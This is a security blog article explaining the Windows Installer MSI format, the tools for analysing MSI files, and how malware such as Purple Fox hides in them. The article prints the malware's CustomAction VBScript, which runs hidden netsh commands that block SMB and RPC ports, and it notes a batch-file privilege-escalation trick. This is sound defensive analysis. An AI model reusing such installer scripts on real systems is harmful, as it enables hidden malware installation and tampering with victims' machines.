Windows Installer Security - A Look at MSI Files

Windows Installer Security

A Look at MSI Files

Tomaso Vasella
by Tomaso Vasella
on November 03, 2022
time to read: 14 minutes


How to Analyze Windows Installer Security

  • Windows Installer is the de facto standard for software installations under Windows
  • MSI files contain all information, files and data for an installation
  • The CustomActions can contain executable Code
  • the Windows Installer Service runs with the highest local system privileges
  • MSI packages are often misused for malware distribution

Software packages are usually installed and deinstalled using an installation program. This ensures that its products and applications are installed and configured according to the conditions and requirements of the operating system in use. In addition to copying the individual components such as executable files, libraries and configuration files to the local storage medium, an installation program often performs other tasks such as adding registry entries, creating shortcuts, associating file extensions, etc.

The Windows Installer, also known as Microsoft Installer or MSI, is an installation and configuration service for software packages that is built into Windows. Windows Installer is widely used and corresponding installation packages are often used in organizations for software distribution and software management. In 2018 Microsoft announced MSIX as a new universal package format for all Windows platforms. Perhaps MSIX will eventually replace MSI, although currently MSI is well established and will remain so for the foreseeable future.

Install Packages

The Windows Installer uses installation packages which are files with the file extension .msi. MSI installation packages contain all the information and content required for installing a software package as well as the setup user interface that is displayed during the installation process. The following table shows the common file extensions used in the context of the Windows Installer:

.msiWindows Installer Database
.msmWindows Installer Merge Module
.mspWindows Installer Patch
.mstWindows Installer Transform
.idtExported Windows Installer Database Table
.cubValidation module
.pcpWindows Installer Patch Creation File

MSI packages can be created using tools from the Windows SDK or with third party applications.

Installation Process

The execution of the installation packages and the installation of the components is controlled by the Windows program msiexec.exe.

Windows Installer Options

It offers extensive options and interacts with a Windows system service called Windows Installer Service that runs with the highest local privileges.

Windows Installer System Service

Various aspects of the Windows Installer can be controlled by group policies at the User and Machine level.

MSI File Format

MSI files are relational SQL databases that exist in the form of compressed COM Structured Storage file. COM Structured Storage is a common format which is used for example for older Office documents. It allows storing different objects in a single file and is therefore a file system in a file. The MSI file format is not publicly documented but the corresponding API and the different database tables are described.

Analysis of MSI Files

Several tools are readily available for analyzing MSI files. For an initial glance, the contents of an MSI file can be extracted with 7zip. The MSI file of Mozilla Firefox was used in the following example.

$ 7z x Firefox\ Setup\ 106.0.2.msi
$ ls
'[5]DigitalSignature'    '!AdminUISequence'       Binary.WrappedExe  '!CreateFolder'  '!Feature'                 '!InstallUISequence'      '!_Tables'
'[5]SummaryInformation'  '!AdvtExecuteSequence'  '!_Columns'         '!CustomAction'  '!FeatureComponents'       '!Media'              '!_StringData'  '!_Validation'
'!AdminExecuteSequence'  '!Binary'               '!Component'        '!Directory'     '!InstallExecuteSequence'  '!Property'           '!_StringPool'

For advanced analysis, a helpful tool is Orca which is part of the Windows SDK and is freely available.

Windows SDK Installation

The installation process of this tool is a bit unintuitive. After the MSI components of the Windows SDK are installed, the Orca installation package is located as an MSI file in the directory C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x86\Orca-x86_en-us.msi from where it can be installed.

After opening an MSI file in Orca, the contained tables and the corresponding data is displayed.

MSI Content Viewed in Orca

Similar information can be extracted from an MSI with the open source tools msitools.

$ msidump -s -t Firefox\ Setup\ 106.0.2.msi
$ ls
AdminExecuteSequence.idt  AdvtExecuteSequence.idt  Binary.idt     CreateFolder.idt  Directory.idt          Feature.idt  _ForceCodepage.idt          InstallUISequence.idt  Property.idt  _SummaryInformation.idt
AdminUISequence.idt       Binary                   Component.idt  CustomAction.idt  FeatureComponents.idt  File.idt     InstallExecuteSequence.idt  Media.idt              _Streams      _Validation.idt

The *.idt files correspond to the tables shown above and contain the same information:

$ cat Property.idt

Property    Value
s72 l0
Property    Property
Manufacturer    Mozilla
ProductCode {1294A4C5-9977-480F-9497-C0EA1E630130}
ProductLanguage 0
ProductName Mozilla Firefox 106.0.2 x64 en-US
UpgradeCode {3118AB4C-B433-4FBB-B9FA-8F9CA4B5C103}

Because of the many ways to execute actions using MSI files and because these actions are at least partially performed with elevated local privileges, there is a large amount of malware that uses such methods for for its distribution. In Red Team assessments, it is sometimes possible to abuse Windows Installer routines to gain elevated local privileges.

In both cases it is interesting to take a closer look at the CustomAction table. As the name suggests, it contains actions that are executed during the installation, for example using JScript or VBScript. This is often abused by malware hidden in MSI files, as we will see below. However, legitimate installation packages often contain commands in the CustomAction table, too.

Displaying the CustomActions in Orca

When using msidump, binary files and executables are extracted to the Binary and the _Streams folders:

$ ls _Streams/
Binary.WrappedExe  DigitalSignature  SummaryInformation

Taking a closer look at all this information, it is already possible to get a good idea of what is going on during the installation. For example, in a recent security assessment it was found that batch files were temporarily created in the file system and executed during the installation process. By editing these batch files, it was easy to achieve local privilege escalation to SYSTEM.

Malware in MSI Files

Malware is frequently introduced via MSI files. The following example shows a simple analysis of the Purple Fox malware.

The CustomAction table already contains potentially suspicious indicators:

$ cat CustomAction.idt

ExecuteScriptCode   3174        On Error Resume Next
Set vbs=CreateObject("Wscript.Shell")
vbs.Run "netsh interface ipv6 install",0,True
vbs.Run "netsh ipsec static add policy name=qianye",0,True
vbs.Run "netsh ipsec static add filterlist name=Filter1",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP",0,True
vbs.Run "netsh ipsec static add filteraction name=FilteraAtion1 action=block",0,True
vbs.Run "netsh ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1",0,True
vbs.Run "netsh ipsec static set policy name=qianye assign=y",0,True

The directory _Streams contains the file which can be extracted with 7z:

$ 7z x
$ ls
sysupdate.log  winupdate32.log  winupdate64.log

$ file *
sysupdate.log:   MGR bitmap, modern format, squeezed
winupdate32.log: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
winupdate64.log: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

$ sha256sum winupdate32.log
937e0068356e42654c9ab76cc34cf74dfa4c17b29e9439ebaa15d587757b14b0  winupdate32.log

A quick search for the file hash on VirusTotal suggests that it is known malware.

Search on VirusTotal

There are many more ways how malware can be packed and distributed with MSI packages. MITRE ATT&CK has an overview of the technique called System Binary Proxy Execution”:


Windows Installer is an integral part of Windows and is widely used as a standard method of managing software products in many organizations. An MSI installation file often contains executable code or scripts, but the details of the MSI file format are not publicly documented. Executable code in CustomActions is often used in legitimate installation processes, but it also provides an opportunity for wrongdoers to distribute malware in a more or less hidden way. Because parts of the installation process can be executed with the highest Windows privileges, attacks abusing the software installation process are attractive for adversaries. Protection against malicious MSI packages is not different from well-known security principles and precautions whereby only installing software from trustworthy sources and always using up-to-date versions should be of top priority.

About the Author

Tomaso Vasella

Tomaso Vasella has a Master in Organic Chemistry at ETH Z├╝rich. He is working in the cybersecurity field since 1999 and worked as a consultant, engineer, auditor and business developer. (ORCID 0000-0002-0216-1268)


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